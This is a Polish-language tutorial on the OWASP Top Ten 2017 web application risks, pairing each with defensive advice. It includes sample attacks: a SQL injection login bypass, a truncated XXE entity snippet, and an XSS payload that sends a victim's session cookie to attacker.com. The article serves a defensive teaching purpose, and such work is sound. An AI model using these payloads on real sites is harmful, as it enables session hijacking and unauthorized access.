Top 10 Common Web Attacks: The First Steps to Protect Your Website

Wspólną statystyką często dzieloną przez profesjonalistów InfoSec jest „78% ataków jest skierowanych przeciwko aplikacji”.

Nie ma tygodnia, abyśmy nie słyszeli o kolejnym masowym naruszeniu lub luce w zabezpieczeniach, która dotyka milionów użytkowników we wszystkich branżach. Czy ta liczba jest dokładna, czy jest to rzeczywiście tylko 74% (lub bardziej prawdopodobne, że bliżej 85%), jedna rzecz jest jasna: nasze strony internetowe są zagrożone, a jeśli twoja nie została jeszcze zaatakowana, jest to tylko kwestia czasu i pieniędzy (oraz motywacji atakującego).

Jednym z interesujących aspektów, które wiele z tych ataków mają wspólne jest to, że nie są one wysoce techniczne i osiągalne tylko przez zaawansowane zespoły hakerów siedzących w piwnicy NSA. Najczęstszym źródłem tych ataków jest grupa znana jako „script kiddies”, niewyszkoleni młodzi ludzie, którzy po prostu pobierają z Internetu zautomatyzowane zestawy narzędzi i próbują złamać każdą przypadkową stronę, która oferuje łatwe do wykorzystania luki w zabezpieczeniach. Nawet bardziej wykwalifikowani cyberprzestępcy rozpoczynają swoje pierwsze próby przy użyciu tych samych zestawów narzędzi (lub ich nieco bardziej zaawansowanych wersji).

Dlaczego powinniśmy się tym przejmować? Ponieważ oznacza to, że najczęstsze ataki i najczęściej wykorzystywane luki w zabezpieczeniach zawsze będą pierwszym i najsłabszym ogniwem naszej obrony.

W konsekwencji, musi to być również punkt, w którym koncentrujemy nasze początkowe wysiłki w celu wzmocnienia tej obrony. Na szczęście, jest to również najłatwiejsze miejsce do przetestowania i zapewnienia przynajmniej minimalnego poziomu bezpieczeństwa.

Powszechne luki zostały zebrane w listę „Top Ten” przez sympatycznych wolontariuszy z OWASP – Open Web Application Security Project, światowej organizacji charytatywnej typu not-for-profit, skoncentrowanej na poprawie bezpieczeństwa oprogramowania.

Pomimo, że lista Top Ten nie jest tak naprawdę „listą kontrolną bezpieczeństwa”, jest to często pierwszy zestaw luk, które atakujący będą próbowali wykryć. Podobnie, istnieje wiele zautomatyzowanych narzędzi, które przeskanują twoją stronę w służbie atakujących, pozwalając im szybko odkryć krytyczne błędy, które dadzą im dostęp do twoich kosztowności.

Oto 10 największych zagrożeń bezpieczeństwa aplikacji według OWASP, edycja 2017:

1. Wstrzyknięcie

Atakujący może być w stanie zmanipulować twoją aplikację internetową do zmiany poleceń przekazywanych do jej podsystemów, po prostu wysyłając źle sformułowane żądania ze spreparowanym ładunkiem. Najbardziej znanym z tych ataków jest SQL Injection, w którym użytkownik twojej strony może spowodować, że twoja aplikacja zmieni to:

select * from users where username=’AviD’ and password=’1234′
na to:
select * from users where username=’Admin’

To pozwala atakującemu zalogować się do twojej aplikacji jako administrator, nie znając nawet hasła. Inne zastosowania tego ataku to kradzież sekretów (lub pieniędzy), zmiana danych, a nawet usunięcie wszystkich śladów aktywności.

Inne formy obejmują LDAP Injection, XPath Injection, Command Injection, SMTP Injection – za każdym razem, gdy aplikacja łączy niezaufane dane wejściowe użytkownika w polecenie, które jest przekazywane do interpretera. Nieprawidłowe dane mogą podstępnie nakłonić interpreter do wykonania niezamierzonych poleceń lub uzyskania dostępu do danych bez odpowiedniej autoryzacji.

Takim atakom można zazwyczaj dość łatwo zapobiec, stosując się do kilku zasad:

• Weryfikuj wszystkie niezaufane dane wejściowe za pomocą podejścia opartego na białej liście, niezależnie od źródła.
• Zawsze uzyskuj dostęp do bazy danych wyłącznie za pomocą sparametryzowanych zapytań i procedur składowanych, zamiast konkatenacji zapytań łańcuchowych.
• Nawet lepiej, używaj odpowiedniej biblioteki ORM (Object Relational Mapping) (takiej jak Hibernate, Entity Framework, ActiveRecord, aby wymienić tylko kilka, w zależności od platformy).
• Ograniczyć potencjalne szkody udanego exploita poprzez zmniejszenie uprawnień aplikacji do bazy danych.

2. Broken Authentication

Większość aplikacji wymaga od swoich użytkowników zalogowania się przed ich użyciem, często za pomocą kombinacji nazwy użytkownika i hasła. Istnieje wiele rodzajów wspólnych błędów w tym systemie uwierzytelniania, które mogą być wykorzystane na różne sposoby: ataki słownikowe, automatyczne brute force, credential stuffing, session hijacking i inne.

Atakujący, któremu uda się odgadnąć ważne hasło, będzie mógł podszyć się pod tego użytkownika i wykonać każdą czynność, którą będzie mogła wykonać jego ofiara – bez możliwości rozróżnienia między atakującym a ofiarą.

Przeciwdziałanie temu wymaga podejścia wielowarstwowego:

• Zmień wszystkie domyślne hasła.
• Wymuszaj silne, losowe hasła dla wszystkich użytkowników: co najmniej 12 losowych znaków, bez ograniczeń, najlepiej przechowywane w menedżerze haseł; lub alternatywnie, hasło zawierające co najmniej 5 losowych słów.
• Ograniczyć próby logowania, blokując konto użytkownika na pewien okres czasu po określonej liczbie błędnych haseł.
• Użyć bezpiecznego menedżera sesji platformy, który losowo generuje długie identyfikatory sesji i implementuje bezpieczny cykl życia sesji.
• Chroń hasła za pomocą kryptograficznego algorytmu „hashowania hasła”, takiego jak Bcrypt, scrypt lub Argon2.

Również rozważ wdrożenie wieloczynnikowego uwierzytelniania w celu złagodzenia ataków opartych na hasłach i nie pozwól atakującemu na obejście Twojego hasła poprzez znajomość nazwy Twojego kota na stronie „Zapomniałem hasła”. Istnieje kilka dodatkowych szczegółów, które mogą być istotne, w zależności od konkretnej architektury i kontekstu.

3. Narażenie wrażliwych danych

Sekretne dane zazwyczaj muszą być chronione za pomocą szyfrowania i innych algorytmów kryptograficznych. Jednak zbyt często jest to realizowane, jeśli w ogóle, w sposób niekompletny, co pozwala atakującym na przechwytywanie wrażliwych informacji, do których nie powinni mieć dostępu, w tym haseł, kart kredytowych, informacji osobistych (PII) i innych danych krytycznych dla biznesu.

Niektóre powszechne wady obejmują brak szyfrowania danych; tworzenie niestandardowego schematu szyfrowania zamiast standardowych algorytmów i protokołów; używanie słabych kluczy; ujawnianie kluczy szyfrowania; oraz nieprawidłowe wdrażanie protokołów, np.np. brak walidacji certyfikatu TLS.

Użycie odpowiednich mechanizmów kryptograficznych (takich jak szyfrowanie AES dla przechowywanych danych i TLS z włączonym HSTS dla ruchu), z odpowiednimi parametrami, powinno w wystarczającym stopniu chronić wrażliwe dane zarówno w spoczynku, jak i w tranzycie.

4. XML External Entities (XXE)

Często aplikacje muszą otrzymywać i przetwarzać dokumenty XML od użytkowników. Stare lub źle skonfigurowane parsery XML mogą włączyć w dokumentach XML funkcję znaną jako odwołania do zewnętrznych encji, które po analizie osadzają zawartość innego pliku. Atakujący mogą to wykorzystać do odczytania poufnych danych, uzyskania dostępu do wewnętrznych systemów, a nawet wyłączenia aplikacji w ataku typu Denial of Service (DoS).

Na przykład, dokument XML zawierający następujące elementy:

]>&xxe;

zawierałby zawartość pliku z hasłem wewnątrz dokumentu XML.

Można temu zapobiec poprzez wyłączenie oceny DTD i encji zewnętrznych w parserze lub aktualizację do nowoczesnej biblioteki parsera, która nie jest podatna na ataki.

5. Złamana kontrola dostępu

Większość aplikacji internetowych ogranicza to, co użytkownicy mogą zobaczyć lub zrobić, niezależnie od tego, czy jest to dostęp do danych osobowych innego użytkownika, czy do zastrzeżonego obszaru.

Jednakże mechanizmy kontroli dostępu, które egzekwują te ograniczenia, są zazwyczaj implementacjami na zamówienie i często są głęboko wadliwe. Atakujący mogą omijać te mechanizmy kontroli lub nadużywać ich w celu uzyskania dostępu do nieautoryzowanych funkcji lub danych, takich jak dostęp do kont innych użytkowników, przeglądanie poufnych plików, modyfikowanie danych innych użytkowników, wykonywanie czynności administracyjnych i inne.

Usuwanie i zapobieganie wadom kontroli dostępu wymaga spojrzenia systemowego. Konieczny jest pełny, dogłębny przegląd wszystkich funkcji aplikacji, wymagań systemowych, ról użytkowników i innych ograniczeń. Istnieją różne wspólne modele, które mogą być stosowane w zależności od wymagań. Najbardziej powszechne z nich to Role Based Access Control (RBAC), Discretionary Access Control (DAC) i Integrity based lub Mandatory Access Control (MAC).

Inne bardziej niszowe modele mogą być oparte na atrybutach (ABAC), polityce (PBAC), kontekście (CBAC) i klasyfikacji (istnieje kilka modeli, zwłaszcza w DoD), jak również różne inne niestandardowe schematy. Ważne jest, aby dobrze zaprojektować model kontroli dostępu, tak aby można go było jednolicie stosować i efektywnie administrować. Należy zacząć od zasady Least Privilege, i autoryzować tylko tam, gdzie jest to konieczne.

Dodatkowo, wiele systemów musi rozważyć zastosowanie kontroli dostępu do danych osobowych użytkowników z perspektywy prywatności. Jeszcze ważniejsze staje się odpowiednie zachowanie prywatności użytkowników i zapobieganie dostępowi bez zgody, zwłaszcza w świetle unijnej aktualizacji GDPR.

6. Błędna konfiguracja zabezpieczeń

Serwery i aplikacje mają wiele ruchomych części, które wszystkie muszą być odpowiednio skonfigurowane. Dotyczy to wszystkich poziomów stosu aplikacji, od systemu operacyjnego i urządzeń sieciowych do serwera WWW i samej aplikacji.

Domyślne, niekompletne lub doraźne konfiguracje mogą pozostawić pliki bez ochrony, włączone domyślne hasła, otwarte usługi w chmurze i wyciek poufnych informacji poprzez komunikaty o błędach lub nagłówki HTTP, jak również wiele innych niezabezpieczonych ustawień, które mogą pozwolić atakującemu na uzyskanie dostępu do systemu lub danych.

Oczywiście, nie ma pojedynczego ustawienia, które zapobiegłoby tej luce. Wszystkie potencjalnie podatne ustawienia powinny zostać zweryfikowane. Zauważ, że obejmuje to również terminowe aktualizacje systemu i poprawki!

7. Cross-Site Scripting (XSS)

Używając XSS, atakujący może modyfikować strony internetowe, które inni użytkownicy widzą w Twojej aplikacji, czy to w celu kradzieży informacji, takich jak hasła i karty kredytowe, rozprzestrzeniania fałszywych danych, porwania sesji użytkownika, przekierowania na inną stronę, czy wykonania złośliwych skryptów w przeglądarce ofiary.

Luka ta może wystąpić, gdy niezaufane dane zostaną umieszczone na stronie internetowej lub w odpowiedzi, bez odpowiedniej walidacji lub sanityzacji. Napastnik może przesłać formularze z fragmentami HTML lub JavaScript, które zostaną osadzone bezpośrednio na stronie i wyrenderowane przez przeglądarkę.

Na przykład, ten kod serwera:

response.write(„Good morning, ” + request.getParameter(„Name”));

zawiera parametr Name użytkownika bezpośrednio na wyjściu. Ma to na celu zwrócenie następującej strony, jeśli użytkownik ma na imię „John”:

Dzień dobry, John

Zamiast tego, atakujący może wstrzyknąć złośliwy payload:

Dzień dobry, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

który zostanie wykonany przez przeglądarkę użytkownika, wysyłając jego plik cookie sesji do atakującego i pozwalając atakującemu na porwanie sesji.

Główną ochroną przed atakami XSS jest użycie odpowiedniego kodowania. Na przykład, kodowanie HTML zamieni wszystkie „specjalne” znaki w encje HTML, takie, że będą one wyświetlane tak samo dla użytkownika, ale nie będą rozpoznawane przez parser jako prawidłowe znaczniki HTML. Jednakże, istnieją inne formy kodowania, które powinny być używane w zależności od konkretnego kontekstu danych wyjściowych – np. kodowanie atrybutów, kodowanie JavaScript, kodowanie CSS, i tak dalej. Większość nowoczesnych platform internetowych zapewnia tę funkcjonalność automatycznie lub jako wywołanie funkcji, a istnieje wiele bibliotek bezpieczeństwa dla tych, które tego nie robią.

Dodatkowo, dobrym pomysłem jest wdrożenie Polityki Bezpieczeństwa Treści (CSP), aby zapobiec renderowaniu przez przeglądarkę ataku XSS, który się przedostał. Należy również skonfigurować ciasteczka sesyjne (w kodzie aplikacji lub w konfiguracji serwera WWW), aby zawierały atrybut HttpOnly, aby zapobiec udanym exploitom XSS, które mogłyby porwać sesje użytkowników.

8. Niezabezpieczona deserializacja

Najnowszy dodatek do tej listy, Niezabezpieczona deserializacja może umożliwiać ataki iniekcyjne i eskalację przywilejów, a nawet prowadzić do zdalnego wykonania kodu i przejęcia serwera w pewnych sytuacjach.

Wiele aplikacji musi serializować obiekty i dane do formatu, który może być łatwo przesyłany przez kabel, a nawet przechowywany w pliku. Kiedy aplikacja przywraca te obiekty z powrotem do pamięci poprzez deserializację sformatowanych danych otrzymanych od użytkownika, możliwe jest manipulowanie w pamięci obiektu, a nawet spowodowanie wykonania przez niego dowolnych funkcji.

Najlepszym sposobem na uniknięcie niezabezpieczonej deserializacji jest nie deserializowanie obiektów z niezaufanych danych w ogóle! O wiele lepiej jest całkowicie unikać natywnych formatów deserializacji, jeśli to możliwe, preferując zamiast tego format danych taki jak XML lub JSON.

Jeśli konieczna jest deserializacja z natywnego formatu, możliwość zrobienia tego bezpiecznie wymaga zrozumienia wnętrza języka programowania. Istnieją różne kroki wymagane, aby zrobić to bezpiecznie, w zależności od tego, w jakim języku została opracowana twoja aplikacja. Na przykład, w Javie możesz podklasować klasę java.io.ObjectInputStream. Dodatkowo, zaleca się deserializację tylko z danych, które aplikacja podpisała cyfrowo.

9. Używanie komponentów ze znanymi podatnościami

Nowoczesne oprogramowanie nie jest już budowane jako monolit – zawsze opiera się na coraz większej liczbie komponentów firm trzecich, frameworków i bibliotek open source. Jakiekolwiek znane podatności znalezione w tych zależnościach mogą bezpośrednio wpłynąć również na twoją własną aplikację! Czasami będzie to prowadzić do innych luk na tej liście, takich jak wstrzyknięcie, zdalne wykonanie kodu lub jakakolwiek inna usterka, która może pozwolić atakującym na dostęp do wrażliwych danych lub działań.

Ostatnio, właśnie taki problem został obarczony winą za masowe naruszenie Equifax, gdzie nie zainstalowano poprawki dla Apache Struts2. Zamiast tego, pozostali na wersji, która była znana z tego, że pozwalała zdalnym napastnikom na wykonywanie dowolnych poleceń.

Najlepszym sposobem na uniknięcie wpadnięcia w tę pułapkę jest przejrzenie wszystkich swoich zależności (w tym zależności przechodnich) i sprawdzenie, czy któreś z nich są obecnie podatne na ataki. Wdrożenie procesu, który zapewni, że Twoja aplikacja zawsze będzie pobierała najnowsze stabilne wersje wszystkich zależnych bibliotek i komponentów po ich przetestowaniu. W rzeczywistości, istnieje obecnie wiele komercyjnych narzędzi, które mogą to śledzić dla Twojego zespołu, jak również darmowy Dependency-Check autorstwa OWASP.

10. Niewystarczające logowanie & Monitorowanie

Chociaż staramy się uodpornić nasze systemy na wszystkie możliwe ataki, realistycznie musimy zaakceptować fakt, że niektóre ataki przebiją się przez naszą obronę. Jednakże, odporna obrona powinna zawierać kilka warstw. Obejmuje to możliwość wykrycia tych ataków, które powiodły się pomimo wszystkich naszych wysiłków, najlepiej tak szybko, jak to możliwe.

Może to jeszcze pozwolić organizacji na odzyskanie sprawności po ataku, a nawet zminimalizować szkody tak bardzo, jak to możliwe. Mechanizm logowania i monitorowania, w połączeniu ze skuteczną reakcją na incydenty, może uniemożliwić atakującym przejście do dodatkowych zasobów wewnętrznych, osadzenie się na stałe w organizacji oraz powstrzymać ich przed kradzieżą lub zmianą jeszcze większej ilości danych.

Zaimplementuj wspólny mechanizm logowania dla całej aplikacji. Najlepiej skorzystać z istniejącej biblioteki, takiej jak log4J, ale nie jest to wymagane. Mechanizm logowania powinien zbierać wszystkie akcje inicjowane przez użytkownika, błędy runtime, oraz wszelkie inne wrażliwe zdarzenia. Upewnij się, że dane dziennika są dobrze chronione i nie zapomnij zapewnić administratorom interfejsu do wyszukiwania i przeglądania!

Dobrą wiadomością jest to, że większość z tych problemów jest stosunkowo prosta i łatwa do zapobieżenia, jeśli wiesz, czego szukać. Dlatego, choć nie jest to wyczerpująca lista wszystkich problemów bezpieczeństwa, na które powinieneś zwracać uwagę, jest to zdecydowanie jedno z najlepszych miejsc do rozpoczęcia wyprawy w kierunku chronionej witryny!

.